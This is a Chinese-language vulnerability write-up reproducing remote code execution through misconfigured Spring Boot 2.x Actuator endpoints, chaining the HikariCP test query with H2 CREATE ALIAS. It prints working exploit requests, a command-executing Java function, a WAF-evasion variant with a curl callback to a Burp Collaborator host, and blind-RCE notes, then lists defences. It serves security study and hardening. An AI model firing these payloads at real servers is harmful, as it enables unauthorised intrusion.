Spring Boot 2.x Actuator配置不当RCE漏洞复现
字数 1159 2025-08-25 22:58:20

Spring Boot 2.x Actuator配置不当RCE漏洞分析与复现

0x00 漏洞概述

本文详细分析Spring Boot 2.x版本中Actuator配置不当导致的远程代码执行(RCE)漏洞。与Spring Boot 1.x版本的利用方式不同,2.x版本利用了HikariCP数据库连接池和H2数据库的特性实现RCE。

0x01 漏洞环境

  • Spring Boot 2.x版本
  • 启用了Actuator端点
  • 使用了HikariCP作为数据库连接池
  • 使用了H2数据库

0x02 漏洞原理

HikariCP数据库连接池

Spring Boot 2.x默认使用HikariCP作为数据库连接池,其中关键配置项为:

  • spring.datasource.hikari.connection-test-query:该配置对应HikariCP中的connectionTestQuery
  • 功能:在从连接池获取连接前执行的SQL语句,用于验证数据库连接是否存活

H2数据库特性

H2数据库引擎提供了CREATE ALIAS命令,可以创建Java函数并调用:

CREATE ALIAS GET_SYSTEM_PROPERTY FOR "java.lang.System.getProperty";
CALL GET_SYSTEM_PROPERTY('java.class.path');

通过这个特性可以创建执行系统命令的函数:

String shellexec(String cmd) throws java.io.IOException {
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream());
    if (s.hasNext()) { return s.next(); }
    throw new IllegalArgumentException();
}

对应的SQL语句:

CREATE ALIAS EXEC AS "String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}";
CALL EXEC('/Applications/Calculator.app/Contents/MacOS/Calculator');

0x03 漏洞利用步骤

  1. 修改环境变量:通过Actuator的/actuator/env端点修改spring.datasource.hikari.connection-test-query的值

    请求示例:

    POST /actuator/env HTTP/1.1
    Content-Type: application/json
    
    {
      "name": "spring.datasource.hikari.connection-test-query",
      "value": "CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('/Applications/Calculator.app/Contents/MacOS/Calculator');"
    }
    
  2. 触发重启:通过/actuator/restart端点重启应用,触发新的数据库连接

    请求示例:

    POST /actuator/restart HTTP/1.1
    Content-Type: application/json
    
    {}
    
  3. 命令执行:应用重启时会建立新的数据库连接,执行设置的SQL语句,从而触发命令执行

0x04 WAF绕过技术

当遇到WAF过滤exec等关键词时,可以使用字符串拼接技术绕过:

  1. 使用CONCAT函数:
CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');
CALL EXEC('curl http://x.burpcollaborator.net');
  1. 使用HEXTORAW命令进行编码转换

0x05 Blind RCE利用

由于connection-test-query用于验证连接,如果执行失败应用会认为数据库无法连接。攻击者可利用这一点实现blind RCE:

  • 命令执行成功:数据库连接正常
  • 命令执行失败:数据库连接异常

0x06 防御措施

  1. 限制Actuator端点的访问权限
  2. 禁用不必要的Actuator端点(特别是/env/restart
  3. 在生产环境中不要使用H2数据库
  4. 对HikariCP配置进行安全加固
  5. 使用Spring Security进行访问控制

0x07 参考

Spring Boot 2.x Actuator配置不当RCE漏洞分析与复现 0x00 漏洞概述 本文详细分析Spring Boot 2.x版本中Actuator配置不当导致的远程代码执行(RCE)漏洞。与Spring Boot 1.x版本的利用方式不同,2.x版本利用了HikariCP数据库连接池和H2数据库的特性实现RCE。 0x01 漏洞环境 Spring Boot 2.x版本 启用了Actuator端点 使用了HikariCP作为数据库连接池 使用了H2数据库 0x02 漏洞原理 HikariCP数据库连接池 Spring Boot 2.x默认使用HikariCP作为数据库连接池,其中关键配置项为: spring.datasource.hikari.connection-test-query :该配置对应HikariCP中的 connectionTestQuery 功能:在从连接池获取连接前执行的SQL语句,用于验证数据库连接是否存活 H2数据库特性 H2数据库引擎提供了 CREATE ALIAS 命令,可以创建Java函数并调用: 通过这个特性可以创建执行系统命令的函数: 对应的SQL语句: 0x03 漏洞利用步骤 修改环境变量 :通过Actuator的 /actuator/env 端点修改 spring.datasource.hikari.connection-test-query 的值 请求示例: 触发重启 :通过 /actuator/restart 端点重启应用,触发新的数据库连接 请求示例: 命令执行 :应用重启时会建立新的数据库连接,执行设置的SQL语句,从而触发命令执行 0x04 WAF绕过技术 当遇到WAF过滤 exec 等关键词时,可以使用字符串拼接技术绕过: 使用 CONCAT 函数: 使用 HEXTORAW 命令进行编码转换 0x05 Blind RCE利用 由于 connection-test-query 用于验证连接,如果执行失败应用会认为数据库无法连接。攻击者可利用这一点实现blind RCE: 命令执行成功:数据库连接正常 命令执行失败:数据库连接异常 0x06 防御措施 限制Actuator端点的访问权限 禁用不必要的Actuator端点(特别是 /env 和 /restart ) 在生产环境中不要使用H2数据库 对HikariCP配置进行安全加固 使用Spring Security进行访问控制 0x07 参考 Remote Code Execution in Three Acts: Chaining Exposed Actuators and H2 Database Spring Boot官方文档 HikariCP文档 H2数据库文档